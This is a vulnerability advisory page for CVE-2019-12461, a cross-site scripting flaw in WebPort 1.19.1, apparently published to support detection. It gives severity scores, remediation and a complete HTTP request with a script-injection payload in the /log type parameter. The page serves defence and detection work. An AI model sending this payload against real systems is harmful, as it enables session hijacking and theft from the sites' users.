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CVE-2019-12461: WebPort 1.19.1 - Cross-Site Scripting

TitleWebPort 1.19.1 - Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to the latest version of WebPort (1.19.2 or higher) which includes a fix for this vulnerability.
CVSS Score6.1
EPSS Score0.55026
CVE IDCVE-2019-12461
CWE IDCWE-79
Tags cve cve2019 xss webport vuln

🔍 Vulnerability Description

Web Port 1.19.1 is vulnerable to cross-site scripting via the /log type parameter.

🌐 HTTP Request

GET /log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-12461.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-12461.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A